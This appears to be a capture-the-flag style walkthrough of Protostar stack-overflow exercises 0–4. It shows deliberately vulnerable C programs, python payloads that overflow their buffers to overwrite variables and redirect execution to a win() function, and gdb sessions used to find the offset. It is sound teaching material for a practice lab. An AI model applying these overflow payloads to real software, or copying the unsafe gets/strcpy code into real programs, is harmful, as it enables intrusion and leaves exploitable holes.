# Protostar Exploit Exercises Solutions 0-4
Walkthrough for Protostar exercises on exploit-exercises.com

Note: When you first logon to protostar, make sure you are actually using bash. It will make things a lot easier.

# Stack 0

Here’s what we’re given:

    #include <stdlib.h>
    #include <unistd.h>
    #include <stdio.h>

    int main(int argc, char **argv)
    {
      volatile int modified;
      char buffer[64];

      modified = 0;
      gets(buffer);

      if(modified != 0) {
          printf("you have changed the 'modified' variable\n");
      } else {
          printf("Try again?\n");
      }
    }

The first thing I took note of is the size of the `buffer`: 64 bytes. After that, the program inputs text for `buffer`, and then checks to see if you modified the `modified` variable. I’m guessing if I put in a string longer than 64 bytes it will work. Let’s see:

    $ echo `python -c 'print "A"*64'` | ./stack0
    Try again?

That works as expected, now with 65 bytes:

    $  echo `python -c 'print "A"*65'` | ./stack0
    you have changed the 'modified' variable

Solved!

# Stack 1

Here’s the code we’re given:

    #include <stdlib.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <string.h>

    int main(int argc, char **argv)
    {
      volatile int modified;
      char buffer[64];

      if(argc == 1) {
          errx(1, "please specify an argument\n");
      }

      modified = 0;
      strcpy(buffer, argv[1]);

      if(modified == 0x61626364) {
          printf("you have correctly got the variable to the right value\n");
      } else {
          printf("Try again, you got 0x%08x\n", modified);
      }
    }

Just like Stack 0, we’re given a `buffer` array size 64 bytes and we’re also asked to input the contents of it. Except it looks like modified has to equal `0x61626364` instead of just changing it like before.

Keep in mind this is little endian, so I’ll input the value in reverse order:

    $ ./stack1 `python -c 'print "A"*64'`
    Try again, you got 0x00000000

That works as expected, now with the additional bytes:

    $ ./stack1 `python -c 'print "A"*64 + "\x64\x63\x62\x61"'`
    you have correctly got the variable to the right value

Woo!

# Stack 2

The website says this one involves environment variables, and how they can be set, so let’s look at the code:

    #include <stdlib.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <string.h>

    int main(int argc, char **argv)
    {
      volatile int modified;
      char buffer[64];
      char *variable;

      variable = getenv("GREENIE");

      if(variable == NULL) {
          errx(1, "please set the GREENIE environment variable\n");
      }

      modified = 0;

      strcpy(buffer, variable);

      if(modified == 0x0d0a0d0a) {
          printf("you have correctly modified the variable\n");
      } else {
          printf("Try again, you got 0x%08x\n", modified);
      }

    }

There’s the `char buffer[64]` and `char *variable` again, then shortly after that it reads in the `GREENIE` environmental variable. Since `GREENIE` is copied to `buffer`, let’s see if appending `0x0d0a0d0a` to the end of some 64 bit string, since that’s what it compares in the if statement:

    user@protostar:/opt/protostar/bin$  export GREENIE=`python -c 'print "A"*64+"\x0a\x0d\x0a\x0d"'`
    user@protostar:/opt/protostar/bin$ ./stack2
    you have correctly modified the variable

# Stack 3

    #include <stdlib.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <string.h>

    void win()
    {
      printf("code flow successfully changed\n");
    }

    int main(int argc, char **argv)
    {
      volatile int (*fp)();
      char buffer[64];

      fp = 0;

      gets(buffer);

      if(fp) {
          printf("calling function pointer, jumping to 0x%08x\n", fp);
          fp();
      }
    }

It looks like I need to input a 64 byte buffer like previously, and then append the address of `win()`, which will write to `fp`.

First to figure out the address of win I ran `objdump -d stack3 | grep win` which outputs `08048424`:

    user@protostar:/opt/protostar/bin$ objdump -d stack3 | grep win
    08048424 <win>:

And appending it to the buffer:

    user@protostar:/opt/protostar/bin$ echo `python -c 'print "A"*64 + "\x24\x84\x04\x08"'` | ./stack3
    calling function pointer, jumping to 0x08048424
    code flow successfully changed

# Stack 4

    #include <stdlib.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <string.h>

    void win()
    {
      printf("code flow successfully changed\n");
    }

    int main(int argc, char **argv)
    {
      char buffer[64];

      gets(buffer);
    }

This is similar to Stack 3, except it I need to add some extra padding to get to `win`.

First I’m going to get the memory address of `win`, but I won’t use this till the end:

    user@protostar:/opt/protostar/bin$ objdump -d stack4 | grep win
    080483f4 <win>:

Now to figure out the padding, I ran gdb with and used binary search to figure out what the max buffer is:

First with predefined buffers of 50 and 100:

    GNU gdb (GDB) 7.0.1-debian
    Copyright (C) 2009 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
    and "show warranty" for details.
    This GDB was configured as "i486-linux-gnu".
    For bug reporting instructions, please see:
    <http://www.gnu.org/software/gdb/bugs/>...
    Reading symbols from /opt/protostar/bin/stack4...done.
    (gdb) r   // with 50
    Starting program: /opt/protostar/bin/stack4
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    Program exited with code 060.
    (gdb) r   // with 100
    Starting program: /opt/protostar/bin/stack4
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    Program received signal SIGSEGV, Segmentation fault.
    0x41414141 in ?? ()
    (gdb) r   // with ~75
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /opt/protostar/bin/stack4
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    Program exited with code 060.
    (gdb) r   //with ~80
    Starting program: /opt/protostar/bin/stack4
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    Program received signal SIGSEGV, Segmentation fault.
    0x41414141 in ?? ()

And now I figured out it’s somewhere around 80 by approximation, so I guessed than then 75, then 76:

    user@protostar:/opt/protostar/bin$ gdb ./stack4
    GNU gdb (GDB) 7.0.1-debian
    Copyright (C) 2009 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
    and "show warranty" for details.
    This GDB was configured as "i486-linux-gnu".
    For bug reporting instructions, please see:
    <http://www.gnu.org/software/gdb/bugs/>...
    Reading symbols from /opt/protostar/bin/stack4...done.
    (gdb) r   // with 80
    Starting program: /opt/protostar/bin/stack4
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    Program received signal SIGSEGV, Segmentation fault.
    0x41414141 in ?? ()
    (gdb) r   // with 75
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /opt/protostar/bin/stack4
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    Program exited with code 060.
    (gdb) r   // with 76
    Starting program: /opt/protostar/bin/stack4
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    Program received signal SIGSEGV, Segmentation fault.
    0xb7eadc03 in __libc_start_main (main=Cannot access memory at address 0x41414149
    ) at libc-start.c:187
    187     libc-start.c: No such file or directory.
            in libc-start.c
    (gdb) Woo => 76

Alright, so I know the buffer I need is 76, and the memory address of `win`:

    user@protostar:/opt/protostar/bin$ echo `python -c 'print "A"*76 + "\xf4\x83\x04\x08"'` | ./stack4
    code flow successfully changed

There you go.

# Stack 5

Finally, we get to do some shellcode!

I have a good idea about how to do this, but unfortunately I can’t get something to work right, so I’ll update this as soon as I do.